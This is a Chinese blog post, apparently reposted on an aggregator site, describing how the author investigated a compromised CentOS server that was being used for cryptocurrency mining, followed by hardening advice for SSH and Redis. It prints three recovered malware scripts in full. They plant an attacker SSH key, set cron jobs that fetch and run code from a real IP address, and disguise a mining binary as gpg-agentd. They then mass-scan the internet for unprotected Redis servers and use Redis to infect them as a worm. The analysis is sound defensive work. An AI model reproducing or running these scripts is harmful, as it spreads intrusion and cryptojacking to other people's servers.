记一次Linux被入侵,服务器变“矿机”全过程
周一早上剛到辦公室,就聽到同事說有一臺服務器登陸不上了,我也沒放在心上,繼續(xù)邊吃早點,邊看幣價是不是又跌了。
不一會運維的同事也到了,氣喘吁吁的說:我們有臺服務器被阿里云凍結(jié)了,理由:對外惡意發(fā)包。
我放下酸菜餡的包子,SSH 連了一下,被拒絕了,問了下默認的 22 端口被封了。
讓運維的同事把端口改了一下,立馬連上去,順便看了一下登錄名 :root,還有不足 8 位的小白密碼,心里一涼:被黑了!
查找線索
服務器系統(tǒng) CentOS 6.X,部署了 Nginx,Tomcat,Redis 等應用,上來先把數(shù)據(jù)庫全備份到本地,然后 Top 命令看了一下,有 2 個 99% 的同名進程還在運行,叫 gpg-agentd。
Google 了一下 GPG,結(jié)果是:GPG 提供的 gpg-agent 提供了對 SSH 協(xié)議的支持,這個功能可以大大簡化密鑰的管理工作。
看起來像是一個很正經(jīng)的程序嘛,但仔細再看看服務器上的進程后面還跟著一個字母 d,偽裝的很好,讓人想起來 Windows 上各種看起來像 svchost.exe 的病毒。
繼續(xù)排查:
ps?eho?command?-p?23374netstat?-pan?|?grep?23374查看 pid:23374 進程啟動路徑和網(wǎng)絡狀況,也就是來到了圖 1 的目錄,到此已經(jīng)找到了黑客留下的二進制可執(zhí)行文件。
接下來還有 2 個問題在等著我:
文件是怎么上傳的?
這個文件的目的是什么,或是黑客想干嘛?
History 看一下,記錄果然都被清掉了,沒留下任何痕跡。繼續(xù)命令 more messages:
看到了在半夜 12 點左右,在服務器上裝了很多軟件,其中有幾個軟件引起了我的注意,下面詳細講。
邊找邊猜,如果我們要做壞事,大概會在哪里做文章,自動啟動?定時啟動?對,計劃任務:
crontab?-e果然,線索找到了。
作案動機
上面的計劃任務的意思就是每 15 分鐘去服務器上下載一個腳本,并且執(zhí)行這個腳本。
我們把腳本下載下來看一下:
curl?-fsSL?159.89.190.243/ash.php?>?ash.sh腳本內(nèi)容如下:
uname?-aid
hostname
setenforce?0?2>/dev/null
ulimit?-n?50000
ulimit?-u?50000
crontab?-r?2>/dev/null
rm?-rf?/var/spool/cron/*?2>/dev/null
mkdir?-p?/var/spool/cron/crontabs?2>/dev/null
mkdir?-p?/root/.ssh?2>/dev/null
echo?'ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx
?redisX'?>?/root/.ssh/authorized_keys
echo?'*/15?*?*?*?*?curl?-fsSL?159.89.190.243/ash.php|sh'?>?/var/spool/cron/root
echo?'*/20?*?*?*?*?curl?-fsSL?159.89.190.243/ash.php|sh'?>?/var/spool/cron/crontabs/root
yum?install?-y?bash?2>/dev/null
apt?install?-y?bash?2>/dev/null
apt-get?install?-y?bash?2>/dev/null
bash?-c?'curl?-fsSL?159.89.190.243/bsh.php|bash'?2>/dev/null
大致分析一下該腳本的主要用途:首先是關閉 SELinux,解除 Shell 資源訪問限制,然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公鑰。
這樣每次黑客登錄這臺服務器就可以免密碼登錄了,執(zhí)行腳本就會方便很多。
接下來安裝 Bash,最后是繼續(xù)下載第二個腳本 bsh.php,并且執(zhí)行。繼續(xù)下載并分析 bsh.pbp,內(nèi)容如下:
sleep?$(?seq?3?7?|?sort?-R?|?head?-n1?)cd?/tmp?||?cd?/var/tmp
sleep?1
mkdir?-p?.ICE-unix/...?&&?chmod?-R?777?.ICE-unix?&&?cd?.ICE-unix/...
sleep?1
if?[?-f?.watch?];?then
rm?-rf?.watch
exit?0
fi
sleep?1
echo?1?>?.watch
sleep?1
ps?x?|?awk?'!/awk/?&&?/redisscan|ebscan|redis-cli/?{print?$1}'?|?xargs?kill?-9?2>/dev/null
ps?x?|?awk?'!/awk/?&&?/barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/?{print?$1}'?|?xargs?kill?-9?2>/dev/null
sleep?1
if?!?[?-x?/usr/bin/gpg-agentd?];?then
curl?-s?-o?/usr/bin/gpg-agentd?159.89.190.243/dump.db
echo?'/usr/bin/gpg-agentd'?>?/etc/rc.local
echo?'curl?-fsSL?159.89.190.243/ash.php|sh'?>>?/etc/rc.local
echo?'exit?0'?>>?/etc/rc.local
fi
sleep?1
chmod?+x?/usr/bin/gpg-agentd?&&?/usr/bin/gpg-agentd?||?rm?-rf?/usr/bin/gpg-agentd
sleep?1
if?!?[?-x?"$(command?-v?masscan)"?];?then
rm?-rf?/var/lib/apt/lists/*
rm?-rf?x1.tar.gz
if?[?-x?"$(command?-v?apt-get)"?];?then
export?DEBIAN_FRONTEND=noninteractive
apt-get?update?-y
apt-get?install?-y?debconf-doc
apt-get?install?-y?build-essential
apt-get?install?-y?libpcap0.8-dev?libpcap0.8
apt-get?install?-y?libpcap*
apt-get?install?-y?make?gcc?git
apt-get?install?-y?redis-server
apt-get?install?-y?redis-tools
apt-get?install?-y?redis
apt-get?install?-y?iptables
apt-get?install?-y?wget?curl
fi
if?[?-x?"$(command?-v?yum)"?];?then
yum?update?-y
yum?install?-y?epel-release
yum?update?-y
yum?install?-y?git?iptables?make?gcc?redis?libpcap?libpcap-devel
yum?install?-y?wget?curl
fi
sleep?1
curl?-sL?-o?x1.tar.gz?https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep?1
[?-f?x1.tar.gz?]?&&?tar?zxf?x1.tar.gz?&&?cd?masscan-1.0.4?&&?make?&&?make?install?&&?cd?..?&&?rm?-rf?masscan-1.0.4
fi
sleep?3?&&?rm?-rf?.watch
bash?-c?'curl?-fsSL?159.89.190.243/rsh.php|bash'?2>/dev/null
這段腳本的代碼比較長,但主要的功能有 4 個:
下載遠程代碼到本地,添加執(zhí)行權限,chmod u+x。
修改 rc.local,讓本地代碼開機自動執(zhí)行。
下載 Github 上的開源掃描器代碼,并安裝相關的依賴軟件,也就是我上面的 Messages 里看到的記錄。
下載第三個腳本,并且執(zhí)行。
我去 Github 上看了下這個開源代碼,簡直吊炸天:
Transmitting 10 Million Packets Per Second(每秒發(fā)送 1000 萬個數(shù)據(jù)包),比 nmap 速度還要快,這就不難理解為什么阿里云把服務器凍結(jié)了。
大概看了下 Readme 之后,我也沒有細究,繼續(xù)下載第三個腳本:
setenforce?0?2>/dev/nullulimit?-n?50000
ulimit?-u?50000
sleep?1
iptables?-I?INPUT?1?-p?tcp?--dport?6379?-j?DROP?2>/dev/null
iptables?-I?INPUT?1?-p?tcp?--dport?6379?-s?127.0.0.1?-j?ACCEPT?2>/dev/null
sleep?1
rm?-rf?.dat?.shard?.ranges?.lan?2>/dev/null
sleep?1
echo?'config?set?dbfilename?"backup.db"'?>?.dat
echo?'save'?>>?.dat
echo?'flushall'?>>?.dat
echo?'set?backup1?"\n\n\n*/2?*?*?*?*?curl?-fsSL?http://159.89.190.243/ash.php?|?sh\n\n"'?>>?.dat
echo?'set?backup2?"\n\n\n*/3?*?*?*?*?wget?-q?-O-?http://159.89.190.243/ash.php?|?sh\n\n"'?>>?.dat
echo?'set?backup3?"\n\n\n*/4?*?*?*?*?curl?-fsSL?http://159.89.190.243/ash.php?|?sh\n\n"'?>>?.dat
echo?'set?backup4?"\n\n\n*/5?*?*?*?*?wget?-q?-O-?http://159.89.190.243/ash.php?|?sh\n\n"'?>>?.dat
echo?'config?set?dir?"/var/spool/cron/"'?>>?.dat
echo?'config?set?dbfilename?"root"'?>>?.dat
echo?'save'?>>?.dat
echo?'config?set?dir?"/var/spool/cron/crontabs"'?>>?.dat
echo?'save'?>>?.dat
sleep?1
masscan?--max-rate?10000?-p6379,6380?--shard?$(?seq?1?22000?|?sort?-R?|?head?-n1?)/22000?--exclude?255.255.255.255?0.0.0.0/0?2>/dev/null?|?awk?'{print?$6,?substr($4,?1,?length($4)-4)}'?|?sort?|?uniq?>?.shard
sleep?1
while?read?-r?h?p;?do
cat?.dat?|?redis-cli?-h?$h?-p?$p?--raw?2>/dev/null?1>/dev/null?&
done?<?.shard
sleep?1
masscan?--max-rate?10000?-p6379,6380?192.168.0.0/16?172.16.0.0/16?116.62.0.0/16?116.232.0.0/16?116.128.0.0/16?116.163.0.0/16?2>/dev/null?|?awk?'{print?$6,?substr($4,?1,?length($4)-4)}'?|?sort?|?uniq?>?.ranges
sleep?1
while?read?-r?h?p;?do
cat?.dat?|?redis-cli?-h?$h?-p?$p?--raw?2>/dev/null?1>/dev/null?&
done?<?.ranges
sleep?1
ip?a?|?grep?-oE?'([0-9]{1,3}.?){4}/[0-9]{2}'?2>/dev/null?|?sed?'s/\/\([0-9]\{2\}\)/\/16/g'?>?.inet
sleep?1
masscan?--max-rate?10000?-p6379,6380?-iL?.inet?|?awk?'{print?$6,?substr($4,?1,?length($4)-4)}'?|?sort?|?uniq?>?.lan
sleep?1
while?read?-r?h?p;?do
cat?.dat?|?redis-cli?-h?$h?-p?$p?--raw?2>/dev/null?1>/dev/null?&
done?<?.lan
sleep?60
rm?-rf?.dat?.shard?.ranges?.lan?2>/dev/null
如果說前兩個腳本只是在服務器上下載執(zhí)行了二進制文件,那這個腳本才真正顯示病毒的威力。下面就來分析這個腳本。
一開始的修改系統(tǒng)環(huán)境沒什么好說的,接下來的寫文件操作有點眼熟,如果用過 Redis 的人,應該能猜到,這里是對 Redis 進行配置。
寫這個配置,自然也就是利用了 Redis 把緩存內(nèi)容寫入本地文件的漏洞,結(jié)果就是用本地的私鑰去登陸被寫入公鑰的服務器了,無需密碼就可以登陸,也就是我們文章最開始的 /root/.ssh/authorized_keys。
登錄之后就開始定期執(zhí)行計劃任務,下載腳本。好了,配置文件準備好了,就開始利用 Masscan 進行全網(wǎng)掃描 Redis 服務器,尋找肉雞。
注意看這 6379 就是 Redis 服務器的默認端口,如果你的 Redis 的監(jiān)聽端口是公網(wǎng) IP 或是 0.0.0.0,并且沒有密碼保護,不好意思,你就中招了。
總結(jié)
通過依次分析這 3 個腳本,就能看出這個病毒的可怕之處,先是通過寫入 ssh public key 拿到登錄權限,然后下載執(zhí)行遠程二進制文件,最后再通過 Redis 漏洞復制,迅速在全網(wǎng)傳播,以指數(shù)級速度增長。
那么問題是,這臺服務器是怎么中招的呢?看了下 redis.conf,Bind 的地址是 127.0.0.1,沒啥問題。
由此可以推斷,應該是 Root 帳號被暴力破解了,為了驗證我的想法,我 Lastb 看了一下,果然有大量的記錄:
還剩最后一個問題,這個 gpg-agentd 程序到底是干什么的呢?我當時的第一個反應就是礦機,因為現(xiàn)在數(shù)字貨幣太火了,加大了分布式礦機的需求,也就催生了這條灰色產(chǎn)業(yè)鏈。
于是,順手把這個 gpg-agentd 拖到 Ida 中,用 String 搜索 bitcoin,eth,mine 等相關單詞,最終發(fā)現(xiàn)了這個:
打開 nicehash.com 看一下,一切都清晰了:
安全建議
服務器:
禁用 ROOT
用戶名和密碼盡量復雜
修改 SSH 的默認 22 端口
安裝 DenyHosts 防暴力破解軟件
禁用密碼登錄,使用 RSA 公鑰登錄
Redis:
禁用公網(wǎng) IP 監(jiān)聽,包括 0.0.0.0
使用密碼限制訪問 Redis
使用較低權限帳號運行 Redis
到此,整個入侵過程基本分析完了,如果大家對樣本有興趣,也可以自行去 Curl,或是去虛擬機執(zhí)行上面的腳本。鑒于本人能力有限,文中難免會出現(xiàn)疏忽或是錯誤,還請大家多多指正。
總結(jié)
以上是生活随笔為你收集整理的记一次Linux被入侵,服务器变“矿机”全过程的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: linux开发板设置时间,开发板上修改时
- 下一篇: Ardunio开发实例-数字温度传感器